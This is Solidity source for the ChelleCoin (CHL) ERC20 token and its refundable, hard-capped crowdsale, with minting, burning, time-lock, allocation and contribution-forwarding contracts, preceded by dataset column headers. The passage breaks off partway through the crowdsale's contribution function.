file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /// @title Ownable /// @author Applicature /// @notice helper mixed to other contracts to link contract on an owner /// @dev Base class contract Ownable { //Variables address public owner; address public newOwner; // Modifiers /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } } /// @title OpenZeppelinERC20 /// @author Applicature /// @notice Open Zeppelin implementation of standart ERC20 /// @dev Base class contract OpenZeppelinERC20 is StandardToken, Ownable { using SafeMath for uint256; uint8 public decimals; string public name; string public symbol; string public standard; constructor( uint256 _totalSupply, string _tokenName, uint8 _decimals, string _tokenSymbol, bool _transferAllSupplyToOwner ) public { standard = 'ERC20 0.1'; totalSupply_ = _totalSupply; if (_transferAllSupplyToOwner) { balances[msg.sender] = _totalSupply; } else { balances[this] = _totalSupply; } name = _tokenName; // Set the name for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes decimals = _decimals; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /// @title MintableToken /// @author Applicature /// @notice allow to mint tokens /// @dev Base class contract MintableToken is BasicToken, Ownable { using SafeMath for uint256; uint256 public maxSupply; bool public allowedMinting; mapping(address => bool) public mintingAgents; mapping(address => bool) public stateChangeAgents; event Mint(address indexed holder, uint256 tokens); modifier onlyMintingAgents () { require(mintingAgents[msg.sender]); _; } modifier onlyStateChangeAgents () { require(stateChangeAgents[msg.sender]); _; } constructor(uint256 _maxSupply, uint256 _mintedSupply, bool _allowedMinting) public { maxSupply = _maxSupply; totalSupply_ = totalSupply_.add(_mintedSupply); allowedMinting = _allowedMinting; mintingAgents[msg.sender] = true; } /// @notice allow to mint tokens function mint(address _holder, uint256 _tokens) public onlyMintingAgents() { require(allowedMinting == true && totalSupply_.add(_tokens) <= maxSupply); totalSupply_ = totalSupply_.add(_tokens); balances[_holder] = balanceOf(_holder).add(_tokens); if (totalSupply_ == maxSupply) { allowedMinting = false; } emit Transfer(address(0), _holder, _tokens); emit Mint(_holder, _tokens); } /// @notice update allowedMinting flat function disableMinting() public onlyStateChangeAgents() { allowedMinting = false; } /// @notice update minting agent function updateMintingAgent(address _agent, bool _status) public onlyOwner { mintingAgents[_agent] = _status; } /// @notice update state change agent function updateStateChangeAgent(address _agent, bool _status) public onlyOwner { stateChangeAgents[_agent] = _status; } /// @return available tokens function availableTokens() public view returns (uint256 tokens) { return maxSupply.sub(totalSupply_); } } /// @title MintableBurnableToken /// @author Applicature /// @notice helper mixed to other contracts to burn tokens /// @dev implementation contract MintableBurnableToken is MintableToken, BurnableToken { mapping (address => bool) public burnAgents; modifier onlyBurnAgents () { require(burnAgents[msg.sender]); _; } event Burn(address indexed burner, uint256 value); constructor( uint256 _maxSupply, uint256 _mintedSupply, bool _allowedMinting ) public MintableToken( _maxSupply, _mintedSupply, _allowedMinting ) { } /// @notice update minting agent function updateBurnAgent(address _agent, bool _status) public onlyOwner { burnAgents[_agent] = _status; } function burnByAgent(address _holder, uint256 _tokensToBurn) public onlyBurnAgents() returns (uint256) { if (_tokensToBurn == 0) { _tokensToBurn = balanceOf(_holder); } _burn(_holder, _tokensToBurn); return _tokensToBurn; } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); maxSupply = maxSupply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /// @title TimeLocked /// @author Applicature /// @notice helper mixed to other contracts to lock contract on a timestamp /// @dev Base class contract TimeLocked { uint256 public time; mapping(address => bool) public excludedAddresses; modifier isTimeLocked(address _holder, bool _timeLocked) { bool locked = (block.timestamp < time); require(excludedAddresses[_holder] == true || locked == _timeLocked); _; } constructor(uint256 _time) public { time = _time; } function updateExcludedAddress(address _address, bool _status) public; } /// @title TimeLockedToken /// @author Applicature /// @notice helper mixed to other contracts to lock contract on a timestamp /// @dev Base class contract TimeLockedToken is TimeLocked, StandardToken { constructor(uint256 _time) public TimeLocked(_time) {} function transfer(address _to, uint256 _tokens) public isTimeLocked(msg.sender, false) returns (bool) { return super.transfer(_to, _tokens); } function transferFrom( address _holder, address _to, uint256 _tokens ) public isTimeLocked(_holder, false) returns (bool) { return super.transferFrom(_holder, _to, _tokens); } } contract CHLToken is OpenZeppelinERC20, MintableBurnableToken, TimeLockedToken { CHLCrowdsale public crowdsale; bool public isSoftCapAchieved; //_unlockTokensTime - Lockup 3 months after end of the ICO constructor(uint256 _unlockTokensTime) public OpenZeppelinERC20(0, 'ChelleCoin', 18, 'CHL', false) MintableBurnableToken(59500000e18, 0, true) TimeLockedToken(_unlockTokensTime) { } function updateMaxSupply(uint256 _newMaxSupply) public onlyOwner { require(_newMaxSupply > 0); maxSupply = _newMaxSupply; } function updateExcludedAddress(address _address, bool _status) public onlyOwner { excludedAddresses[_address] = _status; } function setCrowdSale(address _crowdsale) public onlyOwner { require(_crowdsale != address(0)); crowdsale = CHLCrowdsale(_crowdsale); } function setUnlockTime(uint256 _unlockTokensTime) public onlyStateChangeAgents { time = _unlockTokensTime; } function setIsSoftCapAchieved() public onlyStateChangeAgents { isSoftCapAchieved = true; } function transfer(address _to, uint256 _tokens) public returns (bool) { require(true == isTransferAllowed(msg.sender, _tokens)); return super.transfer(_to, _tokens); } function transferFrom(address _holder, address _to, uint256 _tokens) public returns (bool) { require(true == isTransferAllowed(_holder, _tokens)); return super.transferFrom(_holder, _to, _tokens); } function isTransferAllowed(address _address, uint256 _value) public view returns (bool) { if (excludedAddresses[_address] == true) { return true; } if (!isSoftCapAchieved && (address(crowdsale) == address(0) || false == crowdsale.isSoftCapAchieved(0))) { return false; } return true; } function burnUnsoldTokens(uint256 _tokensToBurn) public onlyBurnAgents() returns (uint256) { require(totalSupply_.add(_tokensToBurn) <= maxSupply); maxSupply = maxSupply.sub(_tokensToBurn); emit Burn(address(0), _tokensToBurn); return _tokensToBurn; } } /// @title Agent /// @author Applicature /// @notice Contract which takes actions on state change and contribution /// @dev Base class contract Agent { using SafeMath for uint256; function isInitialized() public constant returns (bool) { return false; } } /// @title CrowdsaleAgent /// @author Applicature /// @notice Contract which takes actions on state change and contribution /// @dev Base class contract CrowdsaleAgent is Agent { Crowdsale public crowdsale; bool public _isInitialized; modifier onlyCrowdsale() { require(msg.sender == address(crowdsale)); _; } constructor(Crowdsale _crowdsale) public { crowdsale = _crowdsale; if (address(0) != address(_crowdsale)) { _isInitialized = true; } else { _isInitialized = false; } } function isInitialized() public constant returns (bool) { return _isInitialized; } function onContribution(address _contributor, uint256 _weiAmount, uint256 _tokens, uint256 _bonus) public onlyCrowdsale(); function onStateChange(Crowdsale.State _state) public onlyCrowdsale(); function onRefund(address _contributor, uint256 _tokens) public onlyCrowdsale() returns (uint256 burned); } /// @title MintableCrowdsaleOnSuccessAgent /// @author Applicature /// @notice Contract which takes actions on state change and contribution /// un-pause tokens and disable minting on Crowdsale success /// @dev implementation contract MintableCrowdsaleOnSuccessAgent is CrowdsaleAgent { Crowdsale public crowdsale; MintableToken public token; bool public _isInitialized; constructor(Crowdsale _crowdsale, MintableToken _token) public CrowdsaleAgent(_crowdsale) { crowdsale = _crowdsale; token = _token; if (address(0) != address(_token) && address(0) != address(_crowdsale)) { _isInitialized = true; } else { _isInitialized = false; } } /// @notice Check whether contract is initialised /// @return true if initialized function isInitialized() public constant returns (bool) { return _isInitialized; } /// @notice Takes actions on contribution function onContribution(address _contributor, uint256 _weiAmount, uint256 _tokens, uint256 _bonus) public onlyCrowdsale() { _contributor = _contributor; _weiAmount = _weiAmount; _tokens = _tokens; _bonus = _bonus; // TODO: add impl } /// @notice Takes actions on state change, /// un-pause tokens and disable minting on Crowdsale success /// @param _state Crowdsale.State function onStateChange(Crowdsale.State _state) public onlyCrowdsale() { if (_state == Crowdsale.State.Success) { token.disableMinting(); } } function onRefund(address _contributor, uint256 _tokens) public onlyCrowdsale() returns (uint256 burned) { _contributor = _contributor; _tokens = _tokens; } } contract CHLAgent is MintableCrowdsaleOnSuccessAgent, Ownable { CHLPricingStrategy public strategy; CHLCrowdsale public crowdsale; CHLAllocation public allocation; bool public isEndProcessed; constructor( CHLCrowdsale _crowdsale, CHLToken _token, CHLPricingStrategy _strategy, CHLAllocation _allocation ) public MintableCrowdsaleOnSuccessAgent(_crowdsale, _token) { strategy = _strategy; crowdsale = _crowdsale; allocation = _allocation; } /// @notice update pricing strategy function setPricingStrategy(CHLPricingStrategy _strategy) public onlyOwner { strategy = _strategy; } /// @notice update allocation function setAllocation(CHLAllocation _allocation) public onlyOwner { allocation = _allocation; } function burnUnsoldTokens(uint256 _tierId) public onlyOwner { uint256 tierUnsoldTokensAmount = strategy.getTierUnsoldTokens(_tierId); require(tierUnsoldTokensAmount > 0); CHLToken(token).burnUnsoldTokens(tierUnsoldTokensAmount); } /// @notice Takes actions on contribution function onContribution( address, uint256 _tierId, uint256 _tokens, uint256 _bonus ) public onlyCrowdsale() { strategy.updateTierTokens(_tierId, _tokens, _bonus); } function onStateChange(Crowdsale.State _state) public onlyCrowdsale() { CHLToken chlToken = CHLToken(token); if ( chlToken.isSoftCapAchieved() == false && (_state == Crowdsale.State.Success || _state == Crowdsale.State.Finalized) && crowdsale.isSoftCapAchieved(0) ) { chlToken.setIsSoftCapAchieved(); } if (_state > Crowdsale.State.InCrowdsale && isEndProcessed == false) { allocation.allocateFoundersTokens(strategy.getSaleEndDate()); } } function onRefund(address _contributor, uint256 _tokens) public onlyCrowdsale() returns (uint256 burned) { burned = CHLToken(token).burnByAgent(_contributor, _tokens); } function updateStateWithPrivateSale( uint256 _tierId, uint256 _tokensAmount, uint256 _usdAmount ) public { require(msg.sender == address(allocation)); strategy.updateMaxTokensCollected(_tierId, _tokensAmount); crowdsale.updateStatsVars(_usdAmount, _tokensAmount); } function updateLockPeriod(uint256 _time) public { require(msg.sender == address(strategy)); CHLToken(token).setUnlockTime(_time.add(12 weeks)); } } /// @title TokenAllocator /// @author Applicature /// @notice Contract responsible for defining distribution logic of tokens. /// @dev Base class contract TokenAllocator is Ownable { mapping(address => bool) public crowdsales; modifier onlyCrowdsale() { require(crowdsales[msg.sender]); _; } function addCrowdsales(address _address) public onlyOwner { crowdsales[_address] = true; } function removeCrowdsales(address _address) public onlyOwner { crowdsales[_address] = false; } function isInitialized() public constant returns (bool) { return false; } function allocate(address _holder, uint256 _tokens) public onlyCrowdsale() { internalAllocate(_holder, _tokens); } function tokensAvailable() public constant returns (uint256); function internalAllocate(address _holder, uint256 _tokens) internal onlyCrowdsale(); } /// @title MintableTokenAllocator /// @author Applicature /// @notice Contract responsible for defining distribution logic of tokens. /// @dev implementation contract MintableTokenAllocator is TokenAllocator { using SafeMath for uint256; MintableToken public token; constructor(MintableToken _token) public { require(address(0) != address(_token)); token = _token; } /// @return available tokens function tokensAvailable() public constant returns (uint256) { return token.availableTokens(); } /// @notice transfer tokens on holder account function allocate(address _holder, uint256 _tokens) public onlyCrowdsale() { internalAllocate(_holder, _tokens); } /// @notice Check whether contract is initialised /// @return true if initialized function isInitialized() public constant returns (bool) { return token.mintingAgents(this); } /// @notice update instance of MintableToken function setToken(MintableToken _token) public onlyOwner { token = _token; } function internalAllocate(address _holder, uint256 _tokens) internal { token.mint(_holder, _tokens); } } /// @title ContributionForwarder /// @author Applicature /// @notice Contract is responsible for distributing collected ethers, that are received from CrowdSale. /// @dev Base class contract ContributionForwarder { using SafeMath for uint256; uint256 public weiCollected; uint256 public weiForwarded; event ContributionForwarded(address receiver, uint256 weiAmount); function isInitialized() public constant returns (bool) { return false; } /// @notice transfer wei to receiver function forward() public payable { require(msg.value > 0); weiCollected += msg.value; internalForward(); } function internalForward() internal; } /// @title DistributedDirectContributionForwarder /// @author Applicature /// @notice Contract is responsible for distributing collected ethers, that are received from CrowdSale. /// @dev implementation contract DistributedDirectContributionForwarder is ContributionForwarder { Receiver[] public receivers; uint256 public proportionAbsMax; bool public isInitialized_; struct Receiver { address receiver; uint256 proportion; // abslolute value in range of 0 - proportionAbsMax uint256 forwardedWei; } // @TODO: should we use uint256 [] for receivers & proportions? constructor(uint256 _proportionAbsMax, address[] _receivers, uint256[] _proportions) public { proportionAbsMax = _proportionAbsMax; require(_receivers.length == _proportions.length); require(_receivers.length > 0); uint256 totalProportion; for (uint256 i = 0; i < _receivers.length; i++) { uint256 proportion = _proportions[i]; totalProportion = totalProportion.add(proportion); receivers.push(Receiver(_receivers[i], proportion, 0)); } require(totalProportion == proportionAbsMax); isInitialized_ = true; } /// @notice Check whether contract is initialised /// @return true if initialized function isInitialized() public constant returns (bool) { return isInitialized_; } function internalForward() internal { uint256 transferred; for (uint256 i = 0; i < receivers.length; i++) { Receiver storage receiver = receivers[i]; uint256 value = msg.value.mul(receiver.proportion).div(proportionAbsMax); if (i == receivers.length - 1) { value = msg.value.sub(transferred); } transferred = transferred.add(value); receiver.receiver.transfer(value); emit ContributionForwarded(receiver.receiver, value); } weiForwarded = weiForwarded.add(transferred); } } contract Crowdsale { uint256 public tokensSold; enum State {Unknown, Initializing, BeforeCrowdsale, InCrowdsale, Success, Finalized, Refunding} function externalContribution(address _contributor, uint256 _wei) public payable; function contribute(uint8 _v, bytes32 _r, bytes32 _s) public payable; function updateState() public; function internalContribution(address _contributor, uint256 _wei) internal; function getState() public view returns (State); } /// @title Crowdsale /// @author Applicature /// @notice Contract is responsible for collecting, refunding, allocating tokens during different stages of Crowdsale. contract CrowdsaleImpl is Crowdsale, Ownable { using SafeMath for uint256; State public currentState; TokenAllocator public allocator; ContributionForwarder public contributionForwarder; PricingStrategy public pricingStrategy; CrowdsaleAgent public crowdsaleAgent; bool public finalized; uint256 public startDate; uint256 public endDate; bool public allowWhitelisted; bool public allowSigned; bool public allowAnonymous; mapping(address => bool) public whitelisted; mapping(address => bool) public signers; mapping(address => bool) public externalContributionAgents; event Contribution(address _contributor, uint256 _wei, uint256 _tokensExcludingBonus, uint256 _bonus); constructor( TokenAllocator _allocator, ContributionForwarder _contributionForwarder, PricingStrategy _pricingStrategy, uint256 _startDate, uint256 _endDate, bool _allowWhitelisted, bool _allowSigned, bool _allowAnonymous ) public { allocator = _allocator; contributionForwarder = _contributionForwarder; pricingStrategy = _pricingStrategy; startDate = _startDate; endDate = _endDate; allowWhitelisted = _allowWhitelisted; allowSigned = _allowSigned; allowAnonymous = _allowAnonymous; currentState = State.Unknown; } /// @notice default payable function function() public payable { require(allowWhitelisted || allowAnonymous); if (!allowAnonymous) { if (allowWhitelisted) { require(whitelisted[msg.sender]); } } internalContribution(msg.sender, msg.value); } /// @notice update crowdsale agent function setCrowdsaleAgent(CrowdsaleAgent _crowdsaleAgent) public onlyOwner { crowdsaleAgent = _crowdsaleAgent; } /// @notice allows external user to do contribution function externalContribution(address _contributor, uint256 _wei) public payable { require(externalContributionAgents[msg.sender]); internalContribution(_contributor, _wei); } /// @notice update external contributor function addExternalContributor(address _contributor) public onlyOwner { externalContributionAgents[_contributor] = true; } /// @notice update external contributor function removeExternalContributor(address _contributor) public onlyOwner { externalContributionAgents[_contributor] = false; } /// @notice update whitelisting address function updateWhitelist(address _address, bool _status) public onlyOwner { whitelisted[_address] = _status; } /// @notice update signer function addSigner(address _signer) public onlyOwner { signers[_signer] = true; } /// @notice update signer function removeSigner(address _signer) public onlyOwner { signers[_signer] = false; } /// @notice allows to do signed contributions function contribute(uint8 _v, bytes32 _r, bytes32 _s) public payable { address recoveredAddress = verify(msg.sender, _v, _r, _s); require(signers[recoveredAddress]); internalContribution(msg.sender, msg.value); } /// @notice Crowdsale state function updateState() public { State state = getState(); if (currentState != state) { if (crowdsaleAgent != address(0)) { crowdsaleAgent.onStateChange(state); } currentState = state; } } function internalContribution(address _contributor, uint256 _wei) internal { require(getState() == State.InCrowdsale); uint256 tokensAvailable = allocator.tokensAvailable(); uint256 collectedWei = contributionForwarder.weiCollected(); uint256 tokens; uint256 tokensExcludingBonus; uint256 bonus; (tokens, tokensExcludingBonus, bonus) = pricingStrategy.getTokens( _contributor, tokensAvailable, tokensSold, _wei, collectedWei); require(tokens > 0 && tokens <= tokensAvailable); tokensSold = tokensSold.add(tokens); allocator.allocate(_contributor, tokens); if (msg.value > 0) { contributionForwarder.forward.value(msg.value)(); } emit Contribution(_contributor, _wei, tokensExcludingBonus, bonus); } /// @notice check sign function verify(address _sender, uint8 _v, bytes32 _r, bytes32 _s) public view returns (address) { bytes32 hash = keccak256(abi.encodePacked(this, _sender)); bytes memory prefix = '\x19Ethereum Signed Message:\n32'; return ecrecover(keccak256(abi.encodePacked(prefix, hash)), _v, _r, _s); } /// @return Crowdsale state function getState() public view returns (State) { if (finalized) { return State.Finalized; } else if (allocator.isInitialized() == false) { return State.Initializing; } else if (contributionForwarder.isInitialized() == false) { return State.Initializing; } else if (pricingStrategy.isInitialized() == false) { return State.Initializing; } else if (block.timestamp < startDate) { return State.BeforeCrowdsale; } else if (block.timestamp >= startDate && block.timestamp <= endDate) { return State.InCrowdsale; } else if (block.timestamp > endDate) { return State.Success; } return State.Unknown; } } /// @title HardCappedCrowdsale /// @author Applicature /// @notice Contract is responsible for collecting, refunding, allocating tokens during different stages of Crowdsale. /// with hard limit contract HardCappedCrowdsale is CrowdsaleImpl { using SafeMath for uint256; uint256 public hardCap; constructor( TokenAllocator _allocator, ContributionForwarder _contributionForwarder, PricingStrategy _pricingStrategy, uint256 _startDate, uint256 _endDate, bool _allowWhitelisted, bool _allowSigned, bool _allowAnonymous, uint256 _hardCap ) public CrowdsaleImpl( _allocator, _contributionForwarder, _pricingStrategy, _startDate, _endDate, _allowWhitelisted, _allowSigned, _allowAnonymous ) { hardCap = _hardCap; } /// @return Crowdsale state function getState() public view returns (State) { State state = super.getState(); if (state == State.InCrowdsale) { if (isHardCapAchieved(0)) { return State.Success; } } return state; } function isHardCapAchieved(uint256 _value) public view returns (bool) { if (hardCap <= tokensSold.add(_value)) { return true; } return false; } function internalContribution(address _contributor, uint256 _wei) internal { require(getState() == State.InCrowdsale); uint256 tokensAvailable = allocator.tokensAvailable(); uint256 collectedWei = contributionForwarder.weiCollected(); uint256 tokens; uint256 tokensExcludingBonus; uint256 bonus; (tokens, tokensExcludingBonus, bonus) = pricingStrategy.getTokens( _contributor, tokensAvailable, tokensSold, _wei, collectedWei); require(tokens <= tokensAvailable && tokens > 0 && false == isHardCapAchieved(tokens.sub(1))); tokensSold = tokensSold.add(tokens); allocator.allocate(_contributor, tokens); if (msg.value > 0) { contributionForwarder.forward.value(msg.value)(); } crowdsaleAgent.onContribution(_contributor, _wei, tokensExcludingBonus, bonus); emit Contribution(_contributor, _wei, tokensExcludingBonus, bonus); } } /// @title RefundableCrowdsale /// @author Applicature /// @notice Contract is responsible for collecting, refunding, allocating tokens during different stages of Crowdsale. /// with hard and soft limits contract RefundableCrowdsale is HardCappedCrowdsale { using SafeMath for uint256; uint256 public softCap; mapping(address => uint256) public contributorsWei; address[] public contributors; event Refund(address _holder, uint256 _wei, uint256 _tokens); constructor( TokenAllocator _allocator, ContributionForwarder _contributionForwarder, PricingStrategy _pricingStrategy, uint256 _startDate, uint256 _endDate, bool _allowWhitelisted, bool _allowSigned, bool _allowAnonymous, uint256 _softCap, uint256 _hardCap ) public HardCappedCrowdsale( _allocator, _contributionForwarder, _pricingStrategy, _startDate, _endDate, _allowWhitelisted, _allowSigned, _allowAnonymous, _hardCap ) { softCap = _softCap; } /// @notice refund ethers to contributor function refund() public { internalRefund(msg.sender); } /// @notice refund ethers to delegate function delegatedRefund(address _address) public { internalRefund(_address); } function internalContribution(address _contributor, uint256 _wei) internal { require(block.timestamp >= startDate && block.timestamp <= endDate); uint256 tokensAvailable = allocator.tokensAvailable(); uint256 collectedWei = contributionForwarder.weiCollected(); uint256 tokens; uint256 tokensExcludingBonus; uint256 bonus; (tokens, tokensExcludingBonus, bonus) = pricingStrategy.getTokens( _contributor, tokensAvailable, tokensSold, _wei, collectedWei); require(tokens <= tokensAvailable && tokens > 0 && hardCap > tokensSold.add(tokens)); tokensSold = tokensSold.add(tokens); allocator.allocate(_contributor, tokens); // transfer only if softcap is reached if (isSoftCapAchieved(0)) { if (msg.value > 0) { contributionForwarder.forward.value(address(this).balance)(); } } else { // store contributor if it is not stored before if (contributorsWei[_contributor] == 0) { contributors.push(_contributor); } contributorsWei[_contributor] = contributorsWei[_contributor].add(msg.value); } crowdsaleAgent.onContribution(_contributor, _wei, tokensExcludingBonus, bonus); emit Contribution(_contributor, _wei, tokensExcludingBonus, bonus); } function internalRefund(address _holder) internal { updateState(); require(block.timestamp > endDate); require(!isSoftCapAchieved(0)); require(crowdsaleAgent != address(0)); uint256 value = contributorsWei[_holder]; require(value > 0); contributorsWei[_holder] = 0; uint256 burnedTokens = crowdsaleAgent.onRefund(_holder, 0); _holder.transfer(value); emit Refund(_holder, value, burnedTokens); } /// @return Crowdsale state function getState() public view returns (State) { State state = super.getState(); if (state == State.Success) { if (!isSoftCapAchieved(0)) { return State.Refunding; } } return state; } function isSoftCapAchieved(uint256 _value) public view returns (bool) { if (softCap <= tokensSold.add(_value)) { return true; } return false; } } contract CHLCrowdsale is RefundableCrowdsale { uint256 public maxSaleSupply = 38972500e18; uint256 public usdCollected; address public processingFeeAddress; uint256 public percentageAbsMax = 1000; uint256 public processingFeePercentage = 25; event ProcessingFeeAllocation(address _contributor, uint256 _feeAmount); event Contribution(address _contributor, uint256 _usdAmount, uint256 _tokensExcludingBonus, uint256 _bonus); constructor( MintableTokenAllocator _allocator, DistributedDirectContributionForwarder _contributionForwarder, CHLPricingStrategy _pricingStrategy, uint256 _startTime, uint256 _endTime, address _processingFeeAddress ) public RefundableCrowdsale( _allocator, _contributionForwarder, _pricingStrategy, _startTime, _endTime, true, true, false, 10000000e5,//softCap 102860625e5//hardCap ) { require(_processingFeeAddress != address(0)); processingFeeAddress = _processingFeeAddress; } function() public payable { require(allowWhitelisted || allowAnonymous); if (!allowAnonymous) { if (allowWhitelisted) { require(whitelisted[msg.sender]); } } internalContribution( msg.sender, CHLPricingStrategy(pricingStrategy).getUSDAmountByWeis(msg.value) ); } /// @notice allows to do signed contributions function contribute(uint8 _v, bytes32 _r, bytes32 _s) public payable { address recoveredAddress = verify(msg.sender, _v, _r, _s); require(signers[recoveredAddress]); internalContribution( msg.sender, CHLPricingStrategy(pricingStrategy).getUSDAmountByWeis(msg.value) ); } /// @notice allows external user to do contribution function externalContribution(address _contributor, uint256 _usdAmount) public payable { require(externalContributionAgents[msg.sender]); internalContribution(_contributor, _usdAmount); } function updateState() public { (startDate, endDate) = CHLPricingStrategy(pricingStrategy).getActualDates(); super.updateState(); } function isHardCapAchieved(uint256 _value) public view returns (bool) { if (hardCap <= usdCollected.add(_value)) { return true; } return false; } function isSoftCapAchieved(uint256 _value) public view returns (bool) { if (softCap <= usdCollected.add(_value)) { return true; } return false; } function getUnsoldTokensAmount() public view returns (uint256) { return maxSaleSupply.sub(tokensSold); } function updateStatsVars(uint256 _usdAmount, uint256 _tokensAmount) public { require(msg.sender == address(crowdsaleAgent) && _tokensAmount > 0); tokensSold = tokensSold.add(_tokensAmount); usdCollected = usdCollected.add(_usdAmount); } function internalContribution(address _contributor, uint256 _usdAmount) internal { updateState(); require(currentState == State.InCrowdsale); CHLPricingStrategy pricing = CHLPricingStrategy(pricingStrategy); 